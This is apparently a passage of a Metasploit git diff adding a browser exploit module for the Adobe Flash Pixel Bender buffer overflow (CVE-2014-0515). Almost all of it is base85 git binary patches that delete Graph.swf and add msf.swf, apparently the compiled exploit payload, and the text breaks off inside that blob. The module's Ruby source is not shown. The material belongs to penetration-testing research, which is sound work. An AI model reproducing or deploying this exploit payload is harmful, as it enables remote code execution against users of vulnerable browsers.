mode 100755 external/source/exploits/CVE-2014-0515/binary_data_linux rename external/source/exploits/CVE-2014-0515/{binary_data => binary_data_windows} (100%) create mode 100644 modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb diff --git a/data/exploits/CVE-2014-0515/Graph.swf b/data/exploits/CVE-2014-0515/Graph.swf deleted file mode 100755 index aa30c2421e2ed20fe89b98f880289bffe90aae6c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4943 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 NaUZoJ{{zmB|L_W;W}*N9 diff --git a/data/exploits/CVE-2014-0515/msf.swf b/data/exploits/CVE-2014-0515/msf.swf new file mode 100644 index 0000000000000000000000000000000000000000..06505fbe4baf63c80bb00ff2d8675c02f1111274 GIT binary patch literal 21561 zcmV(vK!QZnT84W^-kDu!b~qNjlRVSVp3_xhTH3JNC+2)1J*>=-p>|kv2*_BK)@TdzxW~s5 zRX~U5S-?);A+G44YL3M0*f=<)^i{biPBGOIR$lYO&{zPAusrYQ+MNi=aD#T4!$ zPkS*y6Mr~&jb2>K)qny&rD&(ESY3$E?lK{?1zUms&{I3Vb0GyzU1_ZGbzZQ501# zRN`@oH|SxhT}Be2n61bPSrF7q-cV!JRApU36ny};BE&Ks(4e>rYf&ou4H3IJ_|3rT z|MqmyM?C1+LPw!!Sd$l+Zmbh=)LPqo0dskHD=xRCfTY+1>I>!Sze29fHp{8HVINw4 z9$_&?M7wSZz^ifkA?`J}(eh>a62J|Ge^yZ9cRo!MN95uhB2-d!@(yn1{4aLsEa~2DaF5mHH+isc$%>hf ze%nobu;l3T4H@X{)F*{Dl++yZ1d+zE}sCz@4YlYpBnY11d|q7rx?M2XEApP zks<4aX!qPmpqzVsww}xN$ljZhu5N{WA`($X57YM{u0dyzPu{8V$HhjL08@?$_``r# zI_~2VY1+9v6FoS+qju$x?;H*RS0iK_DqRik9JyT|04T8BD#8^us2Npji-ruY|eFBi-wP>BfQ3injYj5J9!H z1$1$Y*20t~@JHTGb02Xz;-jvij5nzKr=traO&DPEFANnsIY2-+b>=yYaA|Wrwv4SU zx(lRH3UXCF^oJeljaML3;F;idtT&fp&=i;xhMfo$Hg9+4Qm%->Gb#xnpk9=@}s z({DIrT|k(rjSCDNtrEFjMI#S3(gB)y&2d$NKE_$|DZ?BY7>Mj}lF$d7$DN?i(mSz9 zo&){Q4pc2F9x@HN0oz8~Rp(t6q4??ERpm#NIvHk@yq%q2H1SlLAE|)?FRJILBHzo6 z+{%L(OA|1cxuOv&IQErfvc!8RegTq0miZo_pgszd^shhfHT&WYlF3@~j$h~V*RV2TTr!9BR z?VfA12nKteU6Xw!ZCPfZ%DyaNSzL2ptH2Gk*FI?$H7jL=P9VB3M)V6EAuiaRq=hF8 zi7w4&8tHQ%>1Xp_C=OLF9<|fG#g4cU9tt&H-!R_5JFWuc@JMh+a9zr2*EVC$49n#1nMog@gPlh>&8<`~#m$vW%dy zkF!j+sAXQZ1w3$O`L!eHKTW6(PJt^K|K8BWiR)bm1w&LuQMU71)(-Z z8&9SPGi`jk2)tapY`4swoBnqYpEwb3SX?PRcWxZfPa-PQ!ql+exwIKUpjFBLc%aU6 zPlwEc!sM9JaXXMaPyT^txzLWg^%0-8l`TJ=3t>VX9Z+{?rf`YBV!iSY{?7P%fVcdO zQT<>*F_kPj9|16^5}Q0W*WY$WDK38 zVNxM^AA<+Xe-5Rf4J|5r1o!x^?oL8|la+S&pc%iyhuDS?yM5X|yw-{VmY)-S@XEGi3dwvZWa!w1j8WS;tV zYZr)`YarrCvrs4eA*)CQ2Z*?YsLZs21;s-1)qneMTGG%HfIE}%p0MCe;OrIQbAzv9 zid?xmik5?}^$HajgKb#zo2WkDZ=y|&I5v(7gpSu5-;pN(bc}${nRk~)V5M_&Y_(za$0{W?LMc_!l;b{tUiGm((K9bKT5zGBF&ZIc!h3BY z1f~B|nJyw65nM)KmvvyP2mNIFg7Q}Na=*}$W2kb@NkD+j@Ai*aYpN*m$P8I)G5GOF z+b3_{L6bnvrZDa)yduKM8kHmu-R7gV3c^>#!cJ)sx%umaC3Tw4V^Zi zNf=?+DRgf$oFU2R@r=vvwqGywsT6`A@$ zo_iYo(ZXVy5-Ws)XBI+4l}~p2=TiM0Wgu5%u^K*0hLqzGcI%%?9!#DxjJ-gog(^1C zQ5l$eXqM=mma;5V)^RZ));_ad2caJ_%G&9#Gq{7@c!NF&?k(YYdo#E;EH#<7T+jC1 zXcpyB_mm<*__%j-ujK}w^&cW=c|U&egjM*Xhz5|JdS!f6D)9qkd|bveoWo2E&zz*| zxY8lOI6bYT#{5amD$fRXPyDk#IDiIgr*=Z1KY25w$c!Jg zFrdzs=;@SyM@J*|!`3fKv>zT#diVDW=!q~Gs`fi(o|ueZy`{k|XKbe}*AN83{0w=3 z#0PMA;G}T_4N4^99YXbyB95XlCDbv=BxU;}q7~_)u{`OjzIQ;gW@}cDg=@Y@N3RUG z+xLj5&Krf(`2HOMhE@~BX5Aq=^(wqxNLE5dB)OcONfZUTrJhHhzEs`oXx4KWSmMuB zL>^bT)|3#<BV1P{n^QyT3B&99(He2Jm7KV0dV&{$8Mk;0QhqN2=? zg@xSm9y1Cg&vNvzl}V8<5L|`XM9H6}MzqK6VD<(I7tNekB?eC*%6NK3G$)M+Ydh7u znn!4)x7XJfGy<3bFLk~>cLwyws)*> zQQ}e$b`a9D(|a3(u@`*AK~#kcqukUJN!k#O@qY~<`bV6yCEARqc?n8&zk74UR{zi@sq?bAvy%xhhx z>SWT)4s-W%5?lgcvY?F%N9nrFW(vO|l%b`P$1^K)9fJVO&mqHDUsSFeU3So+-@I=^ zk|Oz)Dq8#UN5+#1eTeNgLWKR1UF`?@jAh#bGX1(f(M?eZ9foi4US(U*{5^|RDLV=5 ze;XhpwuQY9A;iH!2lM-yYn|Q~P8c7S*_+3^V7> z9fApY&3sSPwARSv@%bw0=jN91_9(;g%WvB|y7-#RY604jP0;7`DiWsq62~&@Vkqy> zpgn1p!NCn{sWO}p&%{(oYLQi=(20(R82pHT#?J)`*ZiZTCbN32sRu;(8}pGe^!Bl7 ziTXfp0oojRs!6VqDtzjS7SP)dy2lTe=aFxTG zaNODOdn>m5na>Vgb^bVW0}3=q6@WS2tjxDFBI$9Y{OJzu&1&!y5c-I%QQ;gxlP&X1<4$KXk^>D8+(Y$eg%w3f)Ocu7>rQ(j9c zdpxwjsTXHJuVPIHpK~{?vKshoh`K98WNsn`BW?Ah!Wq_})~C>Gae36NYaZjS5s-66@Dv zm0DpG8e*6jEPM631eCQbbbHd4GR zzPu}bsUt1u87auN1{Y7LW@tk@k1-l)p~B>r&DN@UQ>x)ley7|C|Qzw8`` zN;9dd#T*A=+aa-T3P!(25r`Ij4Eo7l>|!fftl_*+6hnMQk?$xvk%a|Wi)xO@TKF|t z&?U{SM-;%&lve zlt6+=x@-up4$uUnwJJ$ihfEPMhDi&1v34x{i2=_75nB5tkOvyw6ve42! zF?8&ZP@eV?rKvmJ1mEjqu`rhv7C}5o2b~1zD}{N_9L@U~oROvpW63ml870I^+#;2j z+=^y(gJ|_y{3`I}#QHQA?>@)=gZVQB)42hv-lh_X=tc7VuQjQe5cT?mk<~y0w5W^T z04NIl^Uo8FjsyJ*)jVdo4-8&k+mIGosj2OZ8Q_zycSA&RSad)fT{`gU8(T-C@khE& z8swPojvDDQ5Z+ByS~0*vRJ2tx2}IB#NM&bW#|`aeT?>*{8hBflaKlq<^WEk2$OPsV z92Y)KB4-wIfJN_e5>FWXBmb`r`#-vVbjY2x3$jYf!)Q;4mY7D}^3B z_%_h43qqpk?pd!pa)IKXzQD4+R-=f5DSiyiz^-6tr6m%3Tn~0kzYA=g0U1n&x{$!{yKd z0T$eh*M@>-al!MRC3qQnFgSbiK|yjU67NX`oVyWAalTUNLH$(UMX$b^a%nEM4eFOg zwdThiMHJ_HvmJKPRF6s^on-c+DmdX?1sgPXo6Be!<2AN#IERR@r>F$ZBn;dXPjF|5 zWS5Cl22ZpZc!aheUtwPo!V~Y0A(wWom^4Lg5{pxKr;+H}`J_3KYZ)2~0U04$Sa~XE z)~F3SZ-L5My?8itNxr8;#vH?S6f2Z}bNJT7i!0-tn%*88#+8WVvSOtwv5_O3KK{qHyqllgr1ofqJb+td#$DNj>f z*GP_5$zL3J;guxgKo$I8oOZXj6M+$4+Vz+-Vl&Yy0k81!ha!Zy=yw;(u26IMs7fmY z=jm91kndF2@^S|?Va;Rd)>~rye%q;>OhUF(aS2v3@LW!sYSMOU*ojfzT6&+>=#_2) z?Ioel@Zz4|q%rJX^j5B8D1X_MAA*N@!MYl+@^tj zJvShQ!=YE$F#eVpw_66Q$ldzWbpZBWP#lwH65Xm0m*C6)aGo}ND7_Xl$K|C^$snWF zig66MxSxIk=!!N=bkk?`3lgJRDQ=vB%FKTix9dFTsrk|>wyKIps8hb|%aXJNdpeVk zzK^xhz}SctL{rUh%A9gZDA;=~zmAN+E%l4=vg)Y{Cv;{FD~2v^p%zOFd~0^Td6i~2 zD!6d{#@QV#t(!xuSzj!gqf2~>%O7#K%ifr5L$qV=Xel|80^(x~P|oW%0o)D*=z?(N z=L_830o5@9@Y_>?+hRH?H6fWCX5TjWE&N^!C-%tRvww5bRUxh{ogWS)@#qFwk0F;U z!>BOK7@&}D`p5kZ!E##qoQ#J2b*==*mo)~zTGr;_HaU2G_=qo$jSwjnLq`|i<%7Lc zMp`0RgP*#{x2U_6EV+^HKT4E1S^g!aKFi$es!--3*G%OSb_hz4huQ}*!`h3LfxbdF z2v-B}04Ba_*ssQns0PusPh4Bk-_NrcyBcTd{seDoXc0iEh@@F>rBj-aCI}}MOpAfL zLJF8N1mr$8Ks%Wv!vDZxAHnxm9RS|(fUH&~Qjd+fQ&_9K9<%PACh=oFpA>E#dYy?*B|_ zh{C@+G{Q`AyHifD~5k-jf$E6;bVjhTOOnVMI7+Kp!vRm+m<)0x#gr>40BS(yED972NY zq#q**^Ha*G$)#rgolhVwAvo9;yD=Q3?rea=JSrM(S@rj3JrrkZ!fvZ?h4vxgj+Ba7 z;Xmen0dpYK{-bsX%J#a}tXv)F473lOi!s_)0WU+Fc=F++Y-b1lY7PMzwlhxNPqKQ0 zo)*nNGn_YSVA2l)lzB=PXVv!0-=8$d6GMMN*(I*r1MYo1g2_?4cQ*LsH|A34NH6ld~U^f4ZRdle5)b~J!9f_1c;x4Sm5M~YHFUo zwcW>-Z|AYmW0WU&Sv|WOq-8i~#^kVB#zsR_qpZ9l;ebu4;HsWyHXIEf&go;IDM)WNiInY3A;8y*3SV?f{{p9opN*s4UYA zu51{9qGfk-mmzs##3(qi?AmL-+{v^1n!N86KR}jFakd3XPDOxl_PMxR4q&y~xf_tP zy<)1;`g`?SP<>4xm->uYg;LCBz;WikBKoekIL9=HW)1&Y%2~>-mV)*hAG#^J;$QGI zKj&DqV{52Whf{$IpD2bPK8}GrD@t3;pKJG{jw=cd_RJgEo)4KXgH5w@|WH~A)iXA(RD}4T}(cH*8r8IcoaTT2oQz_^4 zx@%~2aYVi%ljRKgV)Y4__5C&%jECK7+FMb%as;#DotQ6Cj?YeNc5sd{b|Ie}!wZD^$WUMsG+A z&>^PQGl6zo<(8Mhe8}kzxvbuC7qSQP4lm#oMg}K;f8hc0%_w_SZeFaNY&w3(g^Bzo zM|7^RTO+uYTT`>3tDQ%HAtI9b?QI3<df!={2wAY}RNLM`wG-o|Qa@A^ zfynm}syE>acmT(+h@JfUq9morDh?Kin#Pd8&Y1)mo!vo(HyM^6WORbSiZB8Xb>m+K z*ec;4rz4}p4c0}8BEhxb$NZNg zkqg6xb4eLWN9@Wc2C49MA1ANa2t9A%4bsMW&3q60lc?#!8CrOsL2V5-`AK{eCtpnT zrmWyl7Wmtt;J>P))9D5>RZvnXNS-)lw2w?B4p&l}beg;~JU#22+rhY$82ILs7p|>D zQg))_sfmNV=XlfbMyunv@qml!CPU>!HvSb!?aA$0K%FNRB@Q-8`(`c;#~KzG?B1jP z=hx=HHo_vDj?X!sk}&tt3|u9HO&^XSz5D(kjm1bs?{dtGfqB}PL8w7^**>1jkN7q$ zoMrvxt6pavIl&Z8)*|J?d%7aMXnr$$#@FG6{@$UcpW78wvisd_(KQ5Ckx2se@bfBp zKhWm+nj{MNJnhTtGE4q@PwuHdJOZM<^7}S!jUaAT2UQ5eT>T)>cl;yTmHH zCoazoAz4D6*ZHm(6nfrE4I%d_^0_mE=_7Wf;U~+GgU$V7FWa_%-aqP0lWi!PP%S!jRjAy{(mC*eLxr}9uh+0zO7>$6kf*rMgj_16kd?Z`n{mpUJTQSc z3aptRIH!o;RF)(!^L?dA-dzo6&slW{f&Bo1&xfvflh-A)nl_M^UiYdkMhH<5e%3DU zxeuDEZC7_+-b+IVk1t^Nl&oFXhx%A2bu0U(TB2#PshVgxKPLHe&t5o5`o2S~>&S-4 zPaOapXuu-J!-&F1s>^z5(p_GKOE1+0=fh_DJgXIY1$9rqwFM*i2A!RxE~#CDJq?_^*SP8JDVWseZE>Mr@f>+mA72~28V*=0(TXPgcZv$vBs`>k zQyk)e2U({@pbD?|pj(Pv=yfZ0vmM`UM7tzmF?cN&F1{K_b;uE3s;O4L5=a9E>5NMR zuTS!H;3{rI;?_T6Mv5w4yYg-jSgzLU$>Gcjf~rK*9LNZd-hpuX33lo7DPBohOOdm+ z_P*b?=?D|_a(L=6Ww2J6bIIJ3mdMf8zUNlMQcl&o zyiu)bVtmMxZcv&>>-HE;7LiC0{%X+C`Y)GbY7xlUHj`CaCy8{qSMKb2ohRs+MgrEFV z0_E{RvZnz2V9TpuSi)Vg_Z~j);Tr5iiKW9i0i^9HL8Vn1-4Uv%bvU3)nv(J~?kna- zNR%8{O@r*^-rXK$e6AliKqD3F-LBe^YAAFObxuBLn=XoYS0H|&@8fHl7*>fk;5lL& zt6DUw{A0YUFi`H)v~OR%M1h0dYN%7ZXSKv&pd>wJ$em$9G(gb}{-I7~cQnF>sGxr^ zoK9Zcc82G;3ynuMpep9Ye||1#mAQF;qn2bD1^}z*J##QI!oweMEb!n zHv#fQfz8IkUSJo=d>O1Dy)Xe4lymW-bbg(hZ8%Gx)@8-Y6)mivw1%f+IsdBCKNtIh zk2my}kLF&|_(tc&#e(CZPt|I8-*SuhRlCeH*J@f6mlizf?U6TZht1$iok9Yoi{3ID z&ME!8rDuL6xl;|}yvfN2ZCi=NPJmddWKCNt$0khWM(NKOTt%a`5f8%PRV`PHldTHKNFSg_eB1)k>H~{mhD%wYa1dI;cP?p=>%* zL+=5;r>&wv(a;gkgBZ*Wb5{`ZP>BcEO3GPH4MjT>S1(@&E5R81w^-ujoFYA1ADk@^E2kbH3i0Z%o+BT)nSZ)@#e^?np+9GZ&K7*o8^O$mbKAyaA&X7=4{JSMh=v66+jiv>6NN`r!VC z*%Q|~_GQs{#c>>H8S0f)iz^;Ca#tv}r5hAB6(zxW?fQGdpfZ>f-Lq}vobMgj@9@t4 zj*`g`Ke<%`tYlUNkoNa?=4+l)JI*Er?eUhMa##zC|^q&o%EMr;lmrd3+?$vYbPbc*60T4Ddc4j{25Z=J27% zz<;AWgiYF}RS|GSJ`Mzx;r!wWOryW!S`QLo%H3Z13~+c8*>1T2iPy;zYR6Fj1$m z{iUC)>k-}@(d*xVNdl$)vJH@Tr3ZXINEaNIXbM)R&8j;j1eWptpz{=ent zIKG?-9 zwXGG2o(u{F009aq8cK!c0FAF)7VII)u}c@i0oQZ5rvdps)rqt_GcjD*o|AjgPN*?GA)1x(CK3ZrQ7vo2JNqcBgO!-+0(|P40!@)s1c3w zjkz%2vJi5BC9M9G%rAq$JNX7~m5*pEn@PznhisdPT0!RrKFH!xmn_PgP0w~x)5Ez( z`<#^(m~H*fY(n2fp!Dyq+JPA?*-Z)u9X?JL87%UJcpj&OG-o23l-?u%5fDg9eV_^% zkw4&2CLz?jx_BvR$W0|?(&x!K^Wl60z4o%2yNu*Rx zLmuVvZwkCm9?wq%ajZib-1Et$B9@8m`UL=Z$>rI>9eFSKd42=ndaG?x$U8|mY7{OE z4;v0CKz1BElMwd!zb`PgIsXqO>aKKsVV^`x=qc$2N_xYIxJKP+Jz?nQ~_ihF9{{@{w$ zi!9`+G+M!jMxQ^hkbxegK|-(ln~en+J+qgjH*?!?66f})L2xzB3>BlzKOmDZCAv+- zlK(F4>xjN#z0(ag6r=7N>Wb@9ITXCfUH_2UiFb3ktu518s( zlY?8q;e7q#Zlif%5P8qhQ)y0=Jx`e$=_*1MA0TZ>kPf+?fj!`1NrI)i%TZmYPtW6- zL5!SG5M%?K{`&d|ex) zsKDP?>>^z>WEb^&D>X#3hv2uX%3`mCb%N}Y!2i7yaHF!X?Sqev^PsT_Sc|%)b**h& zE-0_Mn}As}>TMe;7}p`9Ik`8^u7LamT0*1qCi10oghG=Q zk4-L*MFcCh;*4gCI3ZOqrD|kdRcL8B!NMvOLm>*Ka?EdqxIIuy# z3wN zKyNlEs}bemVElj07V;rtsGKLwAY_jb8a-@rOod%ar;iHxcvk>e9Z8k^nGB}4_CQM( zCIocIFv?&vLpN5-hkXCPp?a{Q2eEj0cSz+5UJnsah`)?82K*#v!>7`B)u0?2cVw6? z#c%%6_OC;Ph@;um-NQz@H1f-q2;Xk$cBBC{Dct_of7bixULb2(O68P#?t%azRL)5w z)aCNQ{>R_QL=^0*aN95e(=Sr*A2S!YIQTQ&-X&*H*b!E9WfUhAHqs9(hT$+X;ER*Z zub5mH)i~f>7>kvmnVrk8TNTL{c|V**!-(tXtDhkGKxX!6T$T%-KAS;^a}aG9&Fson zu8a6e$Ae={5zSG7pEsr6_tAfOIhgXMR<3FDNMK^V%eTwt!E3UdQQt+KhI5>kJK7(c=J=9mhei^< zpdA4j`c|cg6_EpR863NKn;KfIq!yzSvDozI+Ld{+INYw8TKaGb5)ZBIXRO*L;dZ%y>ExOo7M1z*1o#@VFEjum7LH(4=^7UncAri`QJ@WEyOudma3WwX zrTbSs=a8pAnl~SH219QTF#-WTS5T3KuyW6N(CNxEhc`#& z$kiYGxB2m8y?qSM%Ro+PdUVp7EQV5Wc!D~5v&e1nQbnz~Q&wo~{J8A>g&+)&vMtL@yZU_7Uo*9t`QxlD@^;o-8%R+4Rn~Xhbv!AH;wV0vtPW%NmzMl!^woP26-W+ZR5Hq6Z$Q7ozw^HIF?cr-2hE^K98vr zm>`Z_-@}cGKhfu)B_1(^IBX)QlpL`ypxw^Xy%2xwbLzeAd?R;q!(r-BI}5B;>TFuf8f$6ejqMr*Moef8g0K+Jyfnjzu$+Y5x$hTJ!0T*kLf z7v+kK841?ZJvDjj_*DN|lI;}L#hY@{zmcw-;zW=8*~cXfJ(xQP2zj50^S>BsO{0Q# z|D!U_8an3~wwnFeSW3GgU(dS32iuom%U2sxoZv$BeL?Sh1ASV{oI@9zwSDL+sRjAxxQAIKzx`C%H7 zuL~%@ljp|3B;>&-!exdZ4wcZ~0d_}jzj?OZt*Mz&>f46rr-;t`r*dnsFu*UvqNa7? zWDFyvit(D?71U_rEPb)`D({2|>o0!K(4rjFqn(C7ocjqpC-j^l;SVI$xNWU>Ib;V~ zd1$?fT6|!f={B_QElKh%6W5{{((j}7!3);jKdP+%2J_9O;i8z0*%8t8=TtIt>$ppy z)vYJu)p@Nj|0-kS562YEbN})$>j%>OS(VZy;Nkt?Asg1(x4?)cFT$Z-DY$a(h1a9| zBEw?dpu_`aoxyWyqT{v)Wh&a22=b|Uc5oQg1g}9T<9Q<$@j^YP!h#D>nYLmDGWalg z88hb_LW~e{QK8iJ4qnLWZZpLbkT2$0qu0y(_Op8dlv?{1P|Xh3II3#6xeE?=g?JtI z;qFs_AmoIw_`_Itw%Ro8OeZ7k^hmamKO)^Q=KE{Esr{^W)TStza?+H5a9?cCb?4;O zFO3)e;{+?FUb*k>uZD`o8Xy<{u!0a*oS|kOuwHz(HXUZZKRyiRXD)8AU}8Zl1C0fh zJNtrz3_K@^R;E|Cptd)7BqaKBk6{xpd1kd;S(qBa;42oIkKr9`n^k@djVKrS#i&<| zG%c}J21|-v+_ld$xvt!?`h}jLuI)7-4=9pbdjFvz7z%2_C38Z_5j)PA6_9iG=g@CfJYnMN$jh<3!J=jDT^xPA+qZ zqE*ge?g+D{!MB-r)R|E^POBu6RejHTMo3f6r&OHmVuCHy_QeQ<9Y!x`MN15?ZC|sD z-o^oP69NG)2k3l{@t_@_RO~|YyOlNkM8~rSnMe?or%a+H`H_6o#(n!{Y@6454=Jy* zMTsXRaJx_brp^RjP~O<7Va6k&_pb5k zR_%T=|H^QgNqE4F$Fq;eWr1oyznlgPeg?EU_OdUbfPWYr$SwwxVADp4g^=A?<35yi z?|N;YJDibL6r&1P_4@?2QKs&hU+S-^x{AYjRb4(?LdZu*TPgc1iHsPv!P zR7#P8nu~ZjKI-rfjRV)hRE&Gczp0g`&qhYFS?t`KvT|odgN4z27cs_OBnE-82XD6K z&?nekRB8r&2%B0`-A1pWaHiL3gyr{%olgG3PE&|}9<-9j`k!PmMsyyGOu|LO9 zoEK^4>qZ1qOjIbiHn_9?YMnQ2>?Ewrptc#CF za;Y(H^EE8LE>Xi5*C%y(+=?U=?8H|zk|+mpdnd8L2j^_5`MYapZf(`)Z*Qm)F<;79 zNHVa3Ky7P{+8*Bp`US*6FU)>&4n1b!!I?J;^uaA2^DI>`IqPvm6BPmzpNWBj+Y-ss zQ*8b0(>cL($^;3-a<^@>mCt;==+0$<J7#rWm5OvyCt<)la#-i@jSHbP^(Ww zZz3oJiW3{Cyo3X$V>tY2*|>!AGn`w>E6eqz2i#3)(V!)Uk-`v@>3^*B>fndcY}!QL z-OEO!9p>WcUZDn5F^iYW*$;ldim{g)O&y2Rc=|yazFJe%TTMpr%*KVNkmrJ0y&uiZKX2 zd1YY4@p(fB#QVrbUvrhBw?VKUl|aK$edRXsOE>T5 z;ySdlb?4*~z)(2vs*UiwArqnnhgJPC?6NG$|1NrVOfylIBt$%LC+-Ui4S#tb;u(r5 zmD%^!Xd%#%W15uR!`Gp~zm@LQ`3PbL*9BZ>9wG-)dPu^0Tbk3H=+P{qGjG~S<1`p# z70iN}k?gi+coix8%6S&yZf<&m5jroJS@5NL1jLkVr^==-&zIERl5FY?UBFSn+5b8n z$#DS)22!f_P0ntrI}2OYg36R+)*5@_%U5mf&CyOV*@W)z4(`W;USjfz(U7zovX$Gk90EcQnKyuc0IUGyQ6-3`AOrG?*=w+crs-m>7 z25?UQvx}mJy<7N*3gTsMJ@Vt|3xJh;#<|W~t!LqcTLC5GV>xpkp8pj?Zqp3nlJWJZ ziPC|{ks&|eHH&KgYu}M(J9JRQg)(A zqL`~C@c@iSSqCuIJW2#RY}iB74S{#`zk>9e#jLTKiVZsIcz`_*HZx% z|0H+(4BD#9#Tnx_qmiN~-yDZRP~eSo!Mt=WfI=K`5FqEW#U^?i5vT;}rsZbGi^^GC z01`Lnwjc!0NpW{-X1VYqG1e~IqX6V-*IS>WtzE@3RO8|8T}#%R)!pHIIoG`><37p| zP&|5P0wfv;EQ?OsJykg*g_!xav~xA$vAxU@IX_Iz0VEXL>r^!$?rN&;BmpWsTV^qM 